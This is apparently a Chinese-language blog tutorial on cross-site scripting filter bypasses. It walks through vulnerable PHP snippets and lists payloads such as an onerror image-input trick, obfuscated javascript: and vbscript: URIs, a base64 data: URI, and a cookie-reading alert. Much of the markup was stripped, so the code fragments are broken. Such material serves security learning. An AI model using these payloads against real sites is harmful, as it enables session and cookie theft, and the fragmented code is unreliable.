XSS语句

"/>

 

">

 

所有的类<>标签都不能用了

 

/", '', $str); echo '

'; echo '

No results for "'.htmlspecialchars($str).'"

'; ?>

 

根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用正则来过滤<>之间的内容,这意味着所有的类<>标签都不能用了 其实input是有一个比较奇葩的payload的,那就是 这个payload会把input当做img标签来用 此处用 " type=image src=x οnerrοr=alert(1) " 闭合前后双引号,构造即可

用换行可以绕过正则

eg:

XSS语句_第1张图片

post一个url 单引号和双引号被过滤

 

'; echo '

'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','"',$str); $str=str_replace("'",''',$str); echo ''; } ?>

 

根据源码可以看到,这里是添加链接的 用户post一个url,然后会把url添加到当前页面 这里对单双引号进行了替换,替换为了对应的实体编码 所以不能用双引号闭合然后跳出a标签 但是你还记得为协议吗? 是的,这里用 javascript:alert(1) 然后点击即可

 

javascript:alert(1)

javaSCRIPT:alert(1)

JaVaScRipT:alert(1)

javas cript:\u0061lert(1);

javascript:\u0061lert(1)

avascript:alert(document.cookie)      // AsharJaved

IE10以下和URI中可以使用VBScript

vbscript:alert(1);

vbscript:alert(1);

vbscr ipt:alert(1)"

Data URl

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

 

post一个url 单引号和双引号被过滤 // 注释 url中必须要有http

'; echo '

'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','"',$str); $str=str_replace("'",''',$str); if (strpos($str,'http://')===false) { echo '
链接不合法
'; } else { echo ''; } } ?>

 

根据源码可以看到,同样这里是添加链接的 用户post一个url,然后会把url添加到当前页面 这里对单双引号进行了替换,替换为了对应的实体编码 然后判断了用户提交的url中是否含有http:// 用来验证提交的是否为url 这里可以用 javascript:alert(1)//http:// 因为javascript中,//是代表注释的意思 这样数据中含有http://还不影响弹窗

 

 

 

XSS语句_第2张图片

 

值是输出在js代码中的 只要闭合双引号,然后就可以写你自己的js代码了

 

先加一个双引号闭合前面的

XSS语句_第3张图片

再加一个双引号,闭合后面的,即两个闭合

XSS语句_第4张图片

然后在两者之间写自己的js代码 , 如 -alert(1)-

 

XSS语句_第5张图片

 

XSS语句_第6张图片

 

 

也可以使用 将前面的

你可能感兴趣的:(web安全)